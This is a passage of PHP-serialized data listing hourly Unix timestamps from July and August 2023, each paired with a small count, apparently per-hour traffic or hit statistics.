i:0;i:16;}i:1688522400;a:1:{i:0;i:28;}i:1688526000;a:1:{i:0;i:30;}i:1688529600;a:1:{i:0;i:23;}i:1688533200;a:1:{i:0;i:18;}i:1688536800;a:1:{i:0;i:27;}i:1688540400;a:1:{i:0;i:26;}i:1688544000;a:1:{i:0;i:13;}i:1688547600;a:1:{i:0;i:15;}i:1688551200;a:1:{i:0;i:8;}i:1688554800;a:1:{i:0;i:13;}i:1688558400;a:1:{i:0;i:9;}i:1688562000;a:1:{i:0;i:10;}i:1688565600;a:1:{i:0;i:9;}i:1688569200;a:1:{i:0;i:4;}i:1688572800;a:1:{i:0;i:5;}i:1688576400;a:1:{i:0;i:9;}i:1688580000;a:1:{i:0;i:6;}i:1688583600;a:1:{i:0;i:9;}i:1688587200;a:1:{i:0;i:7;}i:1688590800;a:1:{i:0;i:7;}i:1688594400;a:1:{i:0;i:8;}i:1688598000;a:1:{i:0;i:4;}i:1688601600;a:1:{i:0;i:4;}i:1688605200;a:1:{i:0;i:10;}i:1688608800;a:1:{i:0;i:8;}i:1688612400;a:1:{i:0;i:11;}i:1688616000;a:1:{i:0;i:7;}i:1688619600;a:1:{i:0;i:8;}i:1688623200;a:1:{i:0;i:15;}i:1688626800;a:1:{i:0;i:10;}i:1688630400;a:1:{i:0;i:12;}i:1688634000;a:1:{i:0;i:12;}i:1688637600;a:1:{i:0;i:9;}i:1688641200;a:1:{i:0;i:13;}i:1688644800;a:1:{i:0;i:9;}i:1688648400;a:1:{i:0;i:8;}i:1688652000;a:1:{i:0;i:5;}i:1688659200;a:1:{i:0;i:2;}i:1688662800;a:1:{i:0;i:2;}i:1688666400;a:1:{i:0;i:4;}i:1688670000;a:1:{i:0;i:7;}i:1688673600;a:1:{i:0;i:3;}i:1688677200;a:1:{i:0;i:4;}i:1688680800;a:1:{i:0;i:4;}i:1688684400;a:1:{i:0;i:2;}i:1688688000;a:1:{i:0;i:6;}i:1688691600;a:1:{i:0;i:5;}i:1688695200;a:1:{i:0;i:2;}i:1688698800;a:1:{i:0;i:5;}i:1688702400;a:1:{i:0;i:3;}i:1688706000;a:1:{i:0;i:2;}i:1688709600;a:1:{i:0;i:1;}i:1688713200;a:1:{i:0;i:4;}i:1688716800;a:1:{i:0;i:3;}i:1688720400;a:1:{i:0;i:2;}i:1688727600;a:1:{i:0;i:4;}i:1688731200;a:1:{i:0;i:2;}i:1688734800;a:1:{i:0;i:3;}i:1688738400;a:1:{i:0;i:1;}i:1688742000;a:1:{i:0;i:2;}i:1688745600;a:1:{i:0;i:2;}i:1688749200;a:1:{i:0;i:1;}i:1688752800;a:1:{i:0;i:2;}i:1688756400;a:1:{i:0;i:2;}i:1688760000;a:1:{i:0;i:2;}i:1688763600;a:1:{i:0;i:4;}i:1688767200;a:1:{i:0;i:4;}i:1688770800;a:1:{i:0;i:8;}i:1688774400;a:1:{i:0;i:3;}i:1688778000;a:1:{i:0;i:5;}i:1688781600;a:1:{i:0;i:1;}i:1688785200;a:1:{i:0;i:2;}i:1688792400;a:1:{i:0;i:2;}i:1688796000;a:1:{i:0;i:3;}i:1688799600;a:1:{i:0;i:3;}i:1688803200;a:1:{i:0;i:4;}i:1688806800;a:1:{i:0;i:5;}i:1688810400;a:1:{i:0;i:4;}i:1688814000;a:1:{i:0;i:1;}i:1688817600;a:1:{i:0;i:2;}i:1688821200;a:1:{i:0;i:3;}i:1688824800;a:1:{i:0;i:2;}i:1688828400;a:1:{i:0;i:3;}i:1688832000;a:1:{i:0;i:1;}i:1688835600;a:1:{i:0;i:3;}i:1688846400;a:1:{i:0;i:1;}i:1688850000;a:1:{i:0;i:1;}i:1688853600;a:1:{i:0;i:4;}i:1688857200;a:1:{i:0;i:6;}i:1688860800;a:1:{i:0;i:4;}i:1688864400;a:1:{i:0;i:2;}i:1688868000;a:1:{i:0;i:1;}i:1688871600;a:1:{i:0;i:6;}i:1688875200;a:1:{i:0;i:12;}i:1688878800;a:1:{i:0;i:9;}i:1688882400;a:1:{i:0;i:10;}i:1688886000;a:1:{i:0;i:9;}i:1688889600;a:1:{i:0;i:9;}i:1688893200;a:1:{i:0;i:4;}i:1688896800;a:1:{i:0;i:6;}i:1688900400;a:1:{i:0;i:4;}i:1688904000;a:1:{i:0;i:2;}i:1688907600;a:1:{i:0;i:2;}i:1688911200;a:1:{i:0;i:3;}i:1688914800;a:1:{i:0;i:1;}i:1688918400;a:1:{i:0;i:1;}i:1688922000;a:1:{i:0;i:5;}i:1688925600;a:1:{i:0;i:3;}i:1688929200;a:1:{i:0;i:3;}i:1688932800;a:1:{i:0;i:5;}i:1688936400;a:1:{i:0;i:3;}i:1688940000;a:1:{i:0;i:5;}i:1688943600;a:1:{i:0;i:3;}i:1688947200;a:1:{i:0;i:4;}i:1688950800;a:1:{i:0;i:4;}i:1688954400;a:1:{i:0;i:3;}i:1688958000;a:1:{i:0;i:6;}i:1688961600;a:1:{i:0;i:3;}i:1688965200;a:1:{i:0;i:3;}i:1688968800;a:1:{i:0;i:5;}i:1688972400;a:1:{i:0;i:3;}i:1688976000;a:1:{i:0;i:6;}i:1688979600;a:1:{i:0;i:2;}i:1688983200;a:1:{i:0;i:3;}i:1688986800;a:1:{i:0;i:4;}i:1688990400;a:1:{i:0;i:4;}i:1688994000;a:1:{i:0;i:2;}i:1688997600;a:1:{i:0;i:1;}i:1689001200;a:1:{i:0;i:1;}i:1689004800;a:1:{i:0;i:1;}i:1689012000;a:1:{i:0;i:1;}i:1689015600;a:1:{i:0;i:1;}i:1689022800;a:1:{i:0;i:1;}i:1689026400;a:1:{i:0;i:1;}i:1689030000;a:1:{i:0;i:2;}i:1689033600;a:1:{i:0;i:6;}i:1689037200;a:1:{i:0;i:2;}i:1689040800;a:1:{i:0;i:3;}i:1689051600;a:1:{i:0;i:7;}i:1689055200;a:1:{i:0;i:7;}i:1689058800;a:1:{i:0;i:3;}i:1689062400;a:1:{i:0;i:5;}i:1689066000;a:1:{i:0;i:6;}i:1689069600;a:1:{i:0;i:4;}i:1689073200;a:1:{i:0;i:1;}i:1689076800;a:1:{i:0;i:1;}i:1689080400;a:1:{i:0;i:1;}i:1689084000;a:1:{i:0;i:3;}i:1689087600;a:1:{i:0;i:1;}i:1689091200;a:1:{i:0;i:2;}i:1689094800;a:1:{i:0;i:1;}i:1689098400;a:1:{i:0;i:1;}i:1689102000;a:1:{i:0;i:1;}i:1689105600;a:1:{i:0;i:1;}i:1689109200;a:1:{i:0;i:1;}i:1689112800;a:1:{i:0;i:3;}i:1689116400;a:1:{i:0;i:1;}i:1689120000;a:1:{i:0;i:3;}i:1689123600;a:1:{i:0;i:2;}i:1689127200;a:1:{i:0;i:5;}i:1689130800;a:1:{i:0;i:1;}i:1689134400;a:1:{i:0;i:7;}i:1689138000;a:1:{i:0;i:8;}i:1689141600;a:1:{i:0;i:6;}i:1689145200;a:1:{i:0;i:14;}i:1689148800;a:1:{i:0;i:9;}i:1689152400;a:1:{i:0;i:13;}i:1689156000;a:1:{i:0;i:11;}i:1689159600;a:1:{i:0;i:8;}i:1689163200;a:1:{i:0;i:7;}i:1689170400;a:1:{i:0;i:8;}i:1689174000;a:1:{i:0;i:2;}i:1689177600;a:1:{i:0;i:8;}i:1689181200;a:1:{i:0;i:1;}i:1689184800;a:1:{i:0;i:4;}i:1689188400;a:1:{i:0;i:3;}i:1689192000;a:1:{i:0;i:3;}i:1689195600;a:1:{i:0;i:14;}i:1689199200;a:1:{i:0;i:5;}i:1689202800;a:1:{i:0;i:8;}i:1689206400;a:1:{i:0;i:4;}i:1689210000;a:1:{i:0;i:7;}i:1689213600;a:1:{i:0;i:3;}i:1689217200;a:1:{i:0;i:5;}i:1689220800;a:1:{i:0;i:11;}i:1689224400;a:1:{i:0;i:11;}i:1689228000;a:1:{i:0;i:14;}i:1689231600;a:1:{i:0;i:8;}i:1689235200;a:1:{i:0;i:5;}i:1689238800;a:1:{i:0;i:7;}i:1689242400;a:1:{i:0;i:5;}i:1689246000;a:1:{i:0;i:2;}i:1689249600;a:1:{i:0;i:2;}i:1689253200;a:1:{i:0;i:3;}i:1689256800;a:1:{i:0;i:7;}i:1689260400;a:1:{i:0;i:3;}i:1689264000;a:1:{i:0;i:3;}i:1689267600;a:1:{i:0;i:7;}i:1689271200;a:1:{i:0;i:2;}i:1689274800;a:1:{i:0;i:1;}i:1689278400;a:1:{i:0;i:3;}i:1689282000;a:1:{i:0;i:7;}i:1689285600;a:1:{i:0;i:4;}i:1689289200;a:1:{i:0;i:1;}i:1689292800;a:1:{i:0;i:3;}i:1689296400;a:1:{i:0;i:4;}i:1689300000;a:1:{i:0;i:3;}i:1689303600;a:1:{i:0;i:5;}i:1689307200;a:1:{i:0;i:6;}i:1689310800;a:1:{i:0;i:3;}i:1689314400;a:1:{i:0;i:4;}i:1689321600;a:1:{i:0;i:4;}i:1689325200;a:1:{i:0;i:5;}i:1689328800;a:1:{i:0;i:1;}i:1689332400;a:1:{i:0;i:3;}i:1689336000;a:1:{i:0;i:3;}i:1689339600;a:1:{i:0;i:3;}i:1689343200;a:1:{i:0;i:8;}i:1689346800;a:1:{i:0;i:4;}i:1689350400;a:1:{i:0;i:4;}i:1689354000;a:1:{i:0;i:1;}i:1689357600;a:1:{i:0;i:6;}i:1689361200;a:1:{i:0;i:2;}i:1689364800;a:1:{i:0;i:3;}i:1689368400;a:1:{i:0;i:6;}i:1689372000;a:1:{i:0;i:1;}i:1689375600;a:1:{i:0;i:1;}i:1689379200;a:1:{i:0;i:3;}i:1689382800;a:1:{i:0;i:4;}i:1689386400;a:1:{i:0;i:1;}i:1689390000;a:1:{i:0;i:1;}i:1689393600;a:1:{i:0;i:6;}i:1689397200;a:1:{i:0;i:3;}i:1689404400;a:1:{i:0;i:3;}i:1689408000;a:1:{i:0;i:4;}i:1689415200;a:1:{i:0;i:503;}i:1689418800;a:1:{i:0;i:1191;}i:1689422400;a:1:{i:0;i:30;}i:1689426000;a:1:{i:0;i:33;}i:1689429600;a:1:{i:0;i:10;}i:1689433200;a:1:{i:0;i:9;}i:1689436800;a:1:{i:0;i:20;}i:1689440400;a:1:{i:0;i:10;}i:1689444000;a:1:{i:0;i:13;}i:1689447600;a:1:{i:0;i:14;}i:1689451200;a:1:{i:0;i:10;}i:1689454800;a:1:{i:0;i:11;}i:1689458400;a:1:{i:0;i:4;}i:1689462000;a:1:{i:0;i:8;}i:1689465600;a:1:{i:0;i:7;}i:1689469200;a:1:{i:0;i:6;}i:1689472800;a:1:{i:0;i:1;}i:1689476400;a:1:{i:0;i:12;}i:1689480000;a:1:{i:0;i:12;}i:1689483600;a:1:{i:0;i:16;}i:1689487200;a:1:{i:0;i:24;}i:1689490800;a:1:{i:0;i:11;}i:1689494400;a:1:{i:0;i:4;}i:1689498000;a:1:{i:0;i:7;}i:1689501600;a:1:{i:0;i:5;}i:1689505200;a:1:{i:0;i:5;}i:1689508800;a:1:{i:0;i:6;}i:1689512400;a:1:{i:0;i:5;}i:1689516000;a:1:{i:0;i:7;}i:1689519600;a:1:{i:0;i:7;}i:1689523200;a:1:{i:0;i:7;}i:1689526800;a:1:{i:0;i:5;}i:1689530400;a:1:{i:0;i:8;}i:1689534000;a:1:{i:0;i:4;}i:1689537600;a:1:{i:0;i:7;}i:1689541200;a:1:{i:0;i:6;}i:1689544800;a:1:{i:0;i:7;}i:1689548400;a:1:{i:0;i:7;}i:1689552000;a:1:{i:0;i:5;}i:1689555600;a:1:{i:0;i:5;}i:1689559200;a:1:{i:0;i:8;}i:1689562800;a:1:{i:0;i:9;}i:1689566400;a:1:{i:0;i:18;}i:1689570000;a:1:{i:0;i:12;}i:1689573600;a:1:{i:0;i:3;}i:1689577200;a:1:{i:0;i:18;}i:1689580800;a:1:{i:0;i:9;}i:1689584400;a:1:{i:0;i:10;}i:1689588000;a:1:{i:0;i:11;}i:1689591600;a:1:{i:0;i:6;}i:1689595200;a:1:{i:0;i:3;}i:1689598800;a:1:{i:0;i:4;}i:1689602400;a:1:{i:0;i:2;}i:1689606000;a:1:{i:0;i:3;}i:1689609600;a:1:{i:0;i:3;}i:1689613200;a:1:{i:0;i:1;}i:1689616800;a:1:{i:0;i:5;}i:1689620400;a:1:{i:0;i:3;}i:1689627600;a:1:{i:0;i:7;}i:1689631200;a:1:{i:0;i:1;}i:1689634800;a:1:{i:0;i:3;}i:1689638400;a:1:{i:0;i:4;}i:1689642000;a:1:{i:0;i:6;}i:1689645600;a:1:{i:0;i:9;}i:1689649200;a:1:{i:0;i:7;}i:1689652800;a:1:{i:0;i:16;}i:1689656400;a:1:{i:0;i:19;}i:1689660000;a:1:{i:0;i:14;}i:1689663600;a:1:{i:0;i:18;}i:1689667200;a:1:{i:0;i:10;}i:1689670800;a:1:{i:0;i:16;}i:1689674400;a:1:{i:0;i:3;}i:1689678000;a:1:{i:0;i:3;}i:1689681600;a:1:{i:0;i:5;}i:1689685200;a:1:{i:0;i:8;}i:1689688800;a:1:{i:0;i:9;}i:1689692400;a:1:{i:0;i:5;}i:1689696000;a:1:{i:0;i:5;}i:1689699600;a:1:{i:0;i:9;}i:1689703200;a:1:{i:0;i:3;}i:1689706800;a:1:{i:0;i:5;}i:1689710400;a:1:{i:0;i:5;}i:1689714000;a:1:{i:0;i:6;}i:1689717600;a:1:{i:0;i:13;}i:1689721200;a:1:{i:0;i:3;}i:1689724800;a:1:{i:0;i:5;}i:1689728400;a:1:{i:0;i:5;}i:1689732000;a:1:{i:0;i:5;}i:1689735600;a:1:{i:0;i:6;}i:1689739200;a:1:{i:0;i:7;}i:1689742800;a:1:{i:0;i:13;}i:1689746400;a:1:{i:0;i:13;}i:1689750000;a:1:{i:0;i:16;}i:1689753600;a:1:{i:0;i:13;}i:1689757200;a:1:{i:0;i:14;}i:1689760800;a:1:{i:0;i:10;}i:1689764400;a:1:{i:0;i:11;}i:1689768000;a:1:{i:0;i:7;}i:1689771600;a:1:{i:0;i:11;}i:1689775200;a:1:{i:0;i:7;}i:1689778800;a:1:{i:0;i:6;}i:1689782400;a:1:{i:0;i:1;}i:1689786000;a:1:{i:0;i:1;}i:1689789600;a:1:{i:0;i:2;}i:1689793200;a:1:{i:0;i:2;}i:1689796800;a:1:{i:0;i:3;}i:1689800400;a:1:{i:0;i:4;}i:1689804000;a:1:{i:0;i:3;}i:1689807600;a:1:{i:0;i:4;}i:1689811200;a:1:{i:0;i:3;}i:1689814800;a:1:{i:0;i:3;}i:1689818400;a:1:{i:0;i:1;}i:1689822000;a:1:{i:0;i:3;}i:1689825600;a:1:{i:0;i:4;}i:1689829200;a:1:{i:0;i:2;}i:1689832800;a:1:{i:0;i:2;}i:1689836400;a:1:{i:0;i:4;}i:1689840000;a:1:{i:0;i:4;}i:1689843600;a:1:{i:0;i:3;}i:1689847200;a:1:{i:0;i:3;}i:1689850800;a:1:{i:0;i:4;}i:1689854400;a:1:{i:0;i:6;}i:1689858000;a:1:{i:0;i:2;}i:1689861600;a:1:{i:0;i:4;}i:1689865200;a:1:{i:0;i:1;}i:1689868800;a:1:{i:0;i:3;}i:1689872400;a:1:{i:0;i:5;}i:1689876000;a:1:{i:0;i:1;}i:1689879600;a:1:{i:0;i:1;}i:1689886800;a:1:{i:0;i:3;}i:1689894000;a:1:{i:0;i:2;}i:1689897600;a:1:{i:0;i:6;}i:1689901200;a:1:{i:0;i:1;}i:1689904800;a:1:{i:0;i:2;}i:1689908400;a:1:{i:0;i:3;}i:1689912000;a:1:{i:0;i:5;}i:1689915600;a:1:{i:0;i:5;}i:1689919200;a:1:{i:0;i:7;}i:1689922800;a:1:{i:0;i:8;}i:1689926400;a:1:{i:0;i:7;}i:1689930000;a:1:{i:0;i:9;}i:1689933600;a:1:{i:0;i:7;}i:1689937200;a:1:{i:0;i:9;}i:1689940800;a:1:{i:0;i:3;}i:1689944400;a:1:{i:0;i:3;}i:1689948000;a:1:{i:0;i:4;}i:1689951600;a:1:{i:0;i:1;}i:1689955200;a:1:{i:0;i:5;}i:1689958800;a:1:{i:0;i:4;}i:1689969600;a:1:{i:0;i:2;}i:1689973200;a:1:{i:0;i:3;}i:1689980400;a:1:{i:0;i:1;}i:1689984000;a:1:{i:0;i:3;}i:1689987600;a:1:{i:0;i:12;}i:1689991200;a:1:{i:0;i:9;}i:1689994800;a:1:{i:0;i:9;}i:1689998400;a:1:{i:0;i:14;}i:1690002000;a:1:{i:0;i:22;}i:1690005600;a:1:{i:0;i:14;}i:1690009200;a:1:{i:0;i:5;}i:1690012800;a:1:{i:0;i:7;}i:1690016400;a:1:{i:0;i:5;}i:1690020000;a:1:{i:0;i:5;}i:1690023600;a:1:{i:0;i:9;}i:1690027200;a:1:{i:0;i:4;}i:1690030800;a:1:{i:0;i:9;}i:1690034400;a:1:{i:0;i:23;}i:1690038000;a:1:{i:0;i:27;}i:1690041600;a:1:{i:0;i:8;}i:1690045200;a:1:{i:0;i:3;}i:1690048800;a:1:{i:0;i:13;}i:1690052400;a:1:{i:0;i:10;}i:1690056000;a:1:{i:0;i:6;}i:1690059600;a:1:{i:0;i:7;}i:1690063200;a:1:{i:0;i:2;}i:1690066800;a:1:{i:0;i:1;}i:1690070400;a:1:{i:0;i:6;}i:1690074000;a:1:{i:0;i:6;}i:1690077600;a:1:{i:0;i:2;}i:1690081200;a:1:{i:0;i:3;}i:1690084800;a:1:{i:0;i:4;}i:1690088400;a:1:{i:0;i:13;}i:1690092000;a:1:{i:0;i:12;}i:1690095600;a:1:{i:0;i:9;}i:1690099200;a:1:{i:0;i:10;}i:1690102800;a:1:{i:0;i:5;}i:1690106400;a:1:{i:0;i:9;}i:1690110000;a:1:{i:0;i:4;}i:1690113600;a:1:{i:0;i:2;}i:1690117200;a:1:{i:0;i:5;}i:1690120800;a:1:{i:0;i:5;}i:1690124400;a:1:{i:0;i:4;}i:1690128000;a:1:{i:0;i:2;}i:1690131600;a:1:{i:0;i:6;}i:1690135200;a:1:{i:0;i:3;}i:1690138800;a:1:{i:0;i:8;}i:1690142400;a:1:{i:0;i:5;}i:1690146000;a:1:{i:0;i:8;}i:1690149600;a:1:{i:0;i:7;}i:1690153200;a:1:{i:0;i:4;}i:1690156800;a:1:{i:0;i:5;}i:1690160400;a:1:{i:0;i:4;}i:1690164000;a:1:{i:0;i:7;}i:1690167600;a:1:{i:0;i:2;}i:1690171200;a:1:{i:0;i:3;}i:1690174800;a:1:{i:0;i:6;}i:1690178400;a:1:{i:0;i:8;}i:1690182000;a:1:{i:0;i:8;}i:1690185600;a:1:{i:0;i:4;}i:1690189200;a:1:{i:0;i:3;}i:1690192800;a:1:{i:0;i:5;}i:1690196400;a:1:{i:0;i:7;}i:1690200000;a:1:{i:0;i:3;}i:1690203600;a:1:{i:0;i:1;}i:1690207200;a:1:{i:0;i:4;}i:1690210800;a:1:{i:0;i:1;}i:1690214400;a:1:{i:0;i:3;}i:1690221600;a:1:{i:0;i:2;}i:1690228800;a:1:{i:0;i:6;}i:1690232400;a:1:{i:0;i:4;}i:1690236000;a:1:{i:0;i:3;}i:1690239600;a:1:{i:0;i:3;}i:1690243200;a:1:{i:0;i:1;}i:1690246800;a:1:{i:0;i:2;}i:1690250400;a:1:{i:0;i:2;}i:1690254000;a:1:{i:0;i:3;}i:1690257600;a:1:{i:0;i:3;}i:1690261200;a:1:{i:0;i:2;}i:1690264800;a:1:{i:0;i:4;}i:1690268400;a:1:{i:0;i:3;}i:1690272000;a:1:{i:0;i:5;}i:1690275600;a:1:{i:0;i:4;}i:1690279200;a:1:{i:0;i:2;}i:1690282800;a:1:{i:0;i:3;}i:1690286400;a:1:{i:0;i:6;}i:1690290000;a:1:{i:0;i:5;}i:1690293600;a:1:{i:0;i:3;}i:1690297200;a:1:{i:0;i:3;}i:1690300800;a:1:{i:0;i:4;}i:1690304400;a:1:{i:0;i:1;}i:1690308000;a:1:{i:0;i:2;}i:1690311600;a:1:{i:0;i:6;}i:1690315200;a:1:{i:0;i:5;}i:1690322400;a:1:{i:0;i:4;}i:1690326000;a:1:{i:0;i:3;}i:1690329600;a:1:{i:0;i:3;}i:1690333200;a:1:{i:0;i:3;}i:1690336800;a:1:{i:0;i:2;}i:1690340400;a:1:{i:0;i:5;}i:1690344000;a:1:{i:0;i:2;}i:1690347600;a:1:{i:0;i:1;}i:1690351200;a:1:{i:0;i:4;}i:1690354800;a:1:{i:0;i:3;}i:1690358400;a:1:{i:0;i:7;}i:1690362000;a:1:{i:0;i:2;}i:1690365600;a:1:{i:0;i:2;}i:1690369200;a:1:{i:0;i:5;}i:1690372800;a:1:{i:0;i:10;}i:1690376400;a:1:{i:0;i:5;}i:1690380000;a:1:{i:0;i:12;}i:1690383600;a:1:{i:0;i:22;}i:1690387200;a:1:{i:0;i:6;}i:1690390800;a:1:{i:0;i:8;}i:1690394400;a:1:{i:0;i:14;}i:1690398000;a:1:{i:0;i:5;}i:1690401600;a:1:{i:0;i:8;}i:1690405200;a:1:{i:0;i:12;}i:1690408800;a:1:{i:0;i:3;}i:1690412400;a:1:{i:0;i:5;}i:1690416000;a:1:{i:0;i:8;}i:1690419600;a:1:{i:0;i:9;}i:1690423200;a:1:{i:0;i:4;}i:1690426800;a:1:{i:0;i:13;}i:1690430400;a:1:{i:0;i:21;}i:1690434000;a:1:{i:0;i:13;}i:1690437600;a:1:{i:0;i:10;}i:1690441200;a:1:{i:0;i:25;}i:1690444800;a:1:{i:0;i:15;}i:1690448400;a:1:{i:0;i:15;}i:1690452000;a:1:{i:0;i:6;}i:1690455600;a:1:{i:0;i:4;}i:1690459200;a:1:{i:0;i:4;}i:1690462800;a:1:{i:0;i:18;}i:1690466400;a:1:{i:0;i:14;}i:1690470000;a:1:{i:0;i:4;}i:1690473600;a:1:{i:0;i:5;}i:1690477200;a:1:{i:0;i:5;}i:1690480800;a:1:{i:0;i:7;}i:1690484400;a:1:{i:0;i:4;}i:1690488000;a:1:{i:0;i:20;}i:1690491600;a:1:{i:0;i:16;}i:1690495200;a:1:{i:0;i:6;}i:1690498800;a:1:{i:0;i:3;}i:1690502400;a:1:{i:0;i:10;}i:1690506000;a:1:{i:0;i:4;}i:1690509600;a:1:{i:0;i:6;}i:1690513200;a:1:{i:0;i:1;}i:1690516800;a:1:{i:0;i:21;}i:1690520400;a:1:{i:0;i:10;}i:1690524000;a:1:{i:0;i:16;}i:1690527600;a:1:{i:0;i:15;}i:1690531200;a:1:{i:0;i:25;}i:1690534800;a:1:{i:0;i:27;}i:1690538400;a:1:{i:0;i:37;}i:1690542000;a:1:{i:0;i:15;}i:1690545600;a:1:{i:0;i:6;}i:1690549200;a:1:{i:0;i:2;}i:1690552800;a:1:{i:0;i:1;}i:1690556400;a:1:{i:0;i:5;}i:1690560000;a:1:{i:0;i:12;}i:1690563600;a:1:{i:0;i:5;}i:1690567200;a:1:{i:0;i:1;}i:1690570800;a:1:{i:0;i:12;}i:1690574400;a:1:{i:0;i:3;}i:1690578000;a:1:{i:0;i:3;}i:1690581600;a:1:{i:0;i:6;}i:1690585200;a:1:{i:0;i:16;}i:1690588800;a:1:{i:0;i:3;}i:1690592400;a:1:{i:0;i:4;}i:1690596000;a:1:{i:0;i:23;}i:1690599600;a:1:{i:0;i:5;}i:1690603200;a:1:{i:0;i:5;}i:1690606800;a:1:{i:0;i:17;}i:1690610400;a:1:{i:0;i:6;}i:1690614000;a:1:{i:0;i:10;}i:1690617600;a:1:{i:0;i:24;}i:1690621200;a:1:{i:0;i:37;}i:1690624800;a:1:{i:0;i:26;}i:1690628400;a:1:{i:0;i:47;}i:1690632000;a:1:{i:0;i:10;}i:1690635600;a:1:{i:0;i:14;}i:1690639200;a:1:{i:0;i:5;}i:1690642800;a:1:{i:0;i:8;}i:1690646400;a:1:{i:0;i:3;}i:1690650000;a:1:{i:0;i:1;}i:1690653600;a:1:{i:0;i:5;}i:1690657200;a:1:{i:0;i:8;}i:1690660800;a:1:{i:0;i:7;}i:1690664400;a:1:{i:0;i:7;}i:1690668000;a:1:{i:0;i:6;}i:1690671600;a:1:{i:0;i:20;}i:1690675200;a:1:{i:0;i:20;}i:1690678800;a:1:{i:0;i:3;}i:1690682400;a:1:{i:0;i:6;}i:1690686000;a:1:{i:0;i:4;}i:1690689600;a:1:{i:0;i:7;}i:1690693200;a:1:{i:0;i:8;}i:1690696800;a:1:{i:0;i:1;}i:1690700400;a:1:{i:0;i:18;}i:1690704000;a:1:{i:0;i:8;}i:1690707600;a:1:{i:0;i:4;}i:1690711200;a:1:{i:0;i:5;}i:1690714800;a:1:{i:0;i:5;}i:1690718400;a:1:{i:0;i:1;}i:1690722000;a:1:{i:0;i:4;}i:1690725600;a:1:{i:0;i:16;}i:1690729200;a:1:{i:0;i:9;}i:1690732800;a:1:{i:0;i:2;}i:1690736400;a:1:{i:0;i:2;}i:1690740000;a:1:{i:0;i:9;}i:1690743600;a:1:{i:0;i:4;}i:1690747200;a:1:{i:0;i:4;}i:1690750800;a:1:{i:0;i:19;}i:1690754400;a:1:{i:0;i:10;}i:1690758000;a:1:{i:0;i:1;}i:1690761600;a:1:{i:0;i:13;}i:1690765200;a:1:{i:0;i:12;}i:1690768800;a:1:{i:0;i:17;}i:1690772400;a:1:{i:0;i:24;}i:1690776000;a:1:{i:0;i:37;}i:1690779600;a:1:{i:0;i:15;}i:1690783200;a:1:{i:0;i:20;}i:1690786800;a:1:{i:0;i:5;}i:1690790400;a:1:{i:0;i:11;}i:1690794000;a:1:{i:0;i:8;}i:1690797600;a:1:{i:0;i:12;}i:1690801200;a:1:{i:0;i:4;}i:1690804800;a:1:{i:0;i:5;}i:1690808400;a:1:{i:0;i:10;}i:1690812000;a:1:{i:0;i:30;}i:1690815600;a:1:{i:0;i:3;}i:1690819200;a:1:{i:0;i:9;}i:1690822800;a:1:{i:0;i:6;}i:1690826400;a:1:{i:0;i:5;}i:1690830000;a:1:{i:0;i:8;}i:1690833600;a:1:{i:0;i:3;}i:1690837200;a:1:{i:0;i:6;}i:1690840800;a:1:{i:0;i:5;}i:1690844400;a:1:{i:0;i:15;}i:1690848000;a:1:{i:0;i:6;}i:1690851600;a:1:{i:0;i:5;}i:1690855200;a:1:{i:0;i:6;}i:1690858800;a:1:{i:0;i:3;}i:1690862400;a:1:{i:0;i:1;}i:1690866000;a:1:{i:0;i:3;}i:1690869600;a:1:{i:0;i:9;}i:1690873200;a:1:{i:0;i:4;}i:1690876800;a:1:{i:0;i:9;}i:1690880400;a:1:{i:0;i:17;}i:1690884000;a:1:{i:0;i:10;}i:1690887600;a:1:{i:0;i:3;}i:1690891200;a:1:{i:0;i:8;}i:1690894800;a:1:{i:0;i:5;}i:1690898400;a:1:{i:0;i:3;}i:1690902000;a:1:{i:0;i:4;}i:1690905600;a:1:{i:0;i:15;}i:1690909200;a:1:{i:0;i:5;}i:1690912800;a:1:{i:0;i:3;}i:1690916400;a:1:{i:0;i:14;}i:1690920000;a:1:{i:0;i:2;}i:1690923600;a:1:{i:0;i:2;}i:1690927200;a:1:{i:0;i:4;}i:1690930800;a:1:{i:0;i:17;}i:1690934400;a:1:{i:0;i:4;}i:1690938000;a:1:{i:0;i:4;}i:1690941600;a:1:{i:0;i:15;}i:1690945200;a:1:{i:0;i:4;}i:1690948800;a:1:{i:0;i:9;}i:1690952400;a:1:{i:0;i:12;}i:1690956000;a:1:{i:0;i:21;}i:1690959600;a:1:{i:0;i:16;}i:1690963200;a:1:{i:0;i:9;}i:1690966800;a:1:{i:0;i:11;}i:1690970400;a:1:{i:0;i:10;}i:1690974000;a:1:{i:0;i:19;}i:1690977600;a:1:{i:0;i:9;}i:1690981200;a:1:{i:0;i:27;}i:1690984800;a:1:{i:0;i:7;}i:1690988400;a:1:{i:0;i:6;}i:1690992000;a:1:{i:0;i:7;}i:1690995600;a:1:{i:0;i:3;}i:1690999200;a:1:{i:0;i:2;}i:1691002800;a:1:{i:0;i:7;}i:1691006400;a:1:{i:0;i:16;}i:1691010000;a:1:{i:0;i:20;}i:1691013600;a:1:{i:0;i:3;}i:1691017200;a:1:{i:0;i:5;}i:1691020800;a:1:{i:0;i:5;}i:1691024400;a:1:{i:0;i:6;}i:1691028000;a:1:{i:0;i:3;}i:1691031600;a:1:{i:0;i:4;}i:1691035200;a:1:{i:0;i:25;}i:1691038800;a:1:{i:0;i:8;}i:1691042400;a:1:{i:0;i:2;}i:1691046000;a:1:{i:0;i:3;}i:1691049600;a:1:{i:0;i:5;}i:1691053200;a:1:{i:0;i:14;}i:1691056800;a:1:{i:0;i:2;}i:1691060400;a:1:{i:0;i:2;}i:1691064000;a:1:{i:0;i:17;}i:1691067600;a:1:{i:0;i:4;}i:1691071200;a:1:{i:0;i:1;}i:1691074800;a:1:{i:0;i:5;}i:1691078400;a:1:{i:0;i:4;}i:1691082000;a:1:{i:0;i:7;}i:1691085600;a:1:{i:0;i:4;}i:1691089200;a:1:{i:0;i:3;}i:1691092800;a:1:{i:0;i:4;}i:1691096400;a:1:{i:0;i:10;}i:1691100000;a:1:{i:0;i:3;}i:1691103600;a:1:{i:0;i:6;}i:1691107200;a:1:{i:0;i:2;}i:1691110800;a:1:{i:0;i:3;}i:1691114400;a:1:{i:0;i:4;}i:1691118000;a:1:{i:0;i:15;}i:1691121600;a:1:{i:0;i:7;}i:1691125200;a:1:{i:0;i:7;}i:1691128800;a:1:{i:0;i:19;}i:1691132400;a:1:{i:0;i:18;}i:1691136000;a:1:{i:0;i:24;}i:1691139600;a:1:{i:0;i:10;}i:1691143200;a:1:{i:0;i:11;}i:1691146800;a:1:{i:0;i:12;}i:1691150400;a:1:{i:0;i:7;}i:1691154000;a:1:{i:0;i:7;}i:1691157600;a:1:{i:0;i:27;}i:1691161200;a:1:{i:0;i:8;}i:1691164800;a:1:{i:0;i:8;}i:1691168400;a:1:{i:0;i